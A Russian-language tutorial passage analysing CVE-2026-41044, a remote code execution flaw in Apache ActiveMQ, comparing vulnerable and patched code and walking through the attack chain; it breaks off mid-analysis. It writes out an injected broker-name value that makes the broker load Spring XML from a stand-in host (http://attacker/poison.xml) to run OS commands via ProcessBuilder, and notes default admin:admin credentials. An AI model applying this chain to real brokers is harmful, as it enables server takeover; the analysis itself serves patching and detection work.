
Учебное руководство и proof-of-concept для CVE-2026-41044, RCE-уязвимости в Apache ActiveMQ, с анализом первопричины и скриптом обнаружения.
Примечание: Только в образовательных целях
CVE-2026-41044 была раскрыта 24 апреля 2026 года. Это ошибка удалённого выполнения кода в Apache ActiveMQ Classic, обнаруженная jsjcw, исправленная в версиях 5.19.6 и 6.2.5. Я её не находил.
Что я хочу показать — как человек, который никогда раньше не работал с ActiveMQ, может за один день создать рабочий эксплойт для N-day уязвимости, потому что пропатченный код публичен, непропатченный код публичен, а разница между ними — это один git diff.
Процесс прост:
То, что раньше занимало дни, теперь занимает один день. ИИ не находит ошибки. Он читает код и объясняет его так быстро, как вы задаёте вопросы. Самая затратная часть по-прежнему за вами: решить, что действительно эксплуатируемо, где настоящие границы доверия, что требует проверки. Модель просто проходит по графам вызовов быстрее, чем любой человек.
Более важный момент: если ваш процесс патчинга предполагает неделю анализа на каждую CVE, вы живёте по старому таймлайну. git diff одинаков по длине, пишете ли вы детектирование или эксплойты.
ActiveMQ — это брокер сообщений. Он находится в середине и передаёт сообщения между приложениями. Представьте его как почтовое отделение: приложения сдают сообщения, ActiveMQ доставляет их нужному получателю. Он широко используется в корпоративных Java-стеках и предоставляет веб-консоль и REST API управления под названием Jolokia по адресу /api/jolokia/. Учётные данные по умолчанию во многих развёртываниях до сих пор admin:admin.
ActiveMQ позволял любому аутентифицированному пользователю загрузить конфигурацию брокера с произвольного HTTP URL, которую Spring парсил и немедленно выполнял как Java-объекты — включая ProcessBuilder — что давало атакующему полное выполнение OS-команд на сервере брокера.
localhost./api/jolokia/, который предоставляет операции управления как REST API. До него может добраться любой действительный учётный данные веб-консоли — не только admin.vm://: внутрипроцессный транспорт, используемый, когда клиент находится в той же JVM, что и брокер. Он принимает параметр запроса ?brokerConfig=, указывающий на Spring XML конфиг для загрузки брокера.xbean:: схема URL, которая говорит ActiveMQ обрабатывать URL как Spring XML конфиг и загружать его.init-method: Spring читает XML и автоматически создаёт Java-объекты (бины). Атрибут init-method говорит Spring вызвать метод бина в момент его создания — до выполнения чего-либо ещё.ProcessBuilder: стандартный Java-класс, который выполняет OS-команды. ProcessBuilder.start() запускает команду.DestinationView.sendTextMessage() в версии 5.19.2 строит URL подключения к брокеру, напрямую конкатенируя имя брокера в строку:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
Если getBrokerName() возвращает localhost?brokerConfig=xbean:http://attacker/poison.xml, вся эта строка становится валидным URI vm:// со встроенным параметром запроса. ActiveMQConnectionFactory передаёт его в VMTransportFactory, который извлекает параметр brokerConfig и использует его как URL конфигурации загрузки брокера.
Исправление в 5.19.6 — одна строка:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String становится URI — случайная конкатенация больше невозможна. Значение берётся из предварительно созданного, неизменяемого объекта URI, полученного из фактически зарегистрированного VM-коннектора брокера, а не из изменяемой строки имени.
Чтобы Слой 1 был эксплуатируемым, имя брокера сначала должно быть отравлено. BrokerService всегда санировал имена брокеров:
// BrokerService.setBrokerName() - присутствует в ОБЕИХ версиях
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
Это регулярное выражение чисто удаляет ? и =. CVE существовала потому, что у RegionBroker был свой отдельный сеттер, который этого не делал:
// 5.19.2 - RegionBroker.java
private String brokerName; // изменяемый
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // вообще без валидации
}
Это классический confused deputy — два сеттера в связанных классах, и только один из них санирует. Удалённый пир, транслирующий сфабрикованный пакет BrokerInfo с отравленным полем имени, напрямую достигает RegionBroker.setBrokerName(), полностью обходя регулярное выражение BrokerService.
Исправление в 5.19.6 удаляет сеттер, делает поле final и инициализирует его один раз из уже санированного родителя:
// 5.19.6 - RegionBroker.java
private final String brokerName; // неизменяемый
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() удалён. Сеттера больше нет.
}
Нельзя обойти санитайзер, у которого нет параллельного писателя.
VMTransportFactory.doCompositeConnect() — это функция, которая принимает URI vm://...?brokerConfig=..., извлекает параметр brokerConfig и вызывает BrokerFactory.createBroker(brokerURI). Это механизм запуска всей цепочки.
Apache не изменил здесь ровно ничего.
Этот выбор говорит вам кое-что о том, как они думали об исправлении. VMTransportFactory выполняет легитимную работу — транспорт vm:// действительно должен принимать конфигурации загрузки. Патчить его сломало бы задуманный дизайн. Вместо этого Apache исправил ошибку в источнике (Слой 2: отравленное имя не может быть записано) и в приёмнике (Слой 5: даже если отравленный URL прошёл, резолвер ресурсов его не загрузит).
Исправляйте слои, где должна быть валидация, а не слой, через который атакующий случайно прошёл.
// XBeanBrokerFactory - одинаково в обеих версиях
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // Слой 5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource) — это место, где Spring делает своё дело — каждый init-method бина выполняется при создании контекста, до того как BrokerService ActiveMQ вообще проверит результат. Здесь нечего патчить. Контракт Spring корректен по дизайну. Ошибка заключалась в том, что ActiveMQ полагался на валидацию до инстанцирования, а Spring не обещает такого порядка.
Это функция, которая решала, следует ли загружать xbean:http://attacker/poison.xml. В 5.19.2: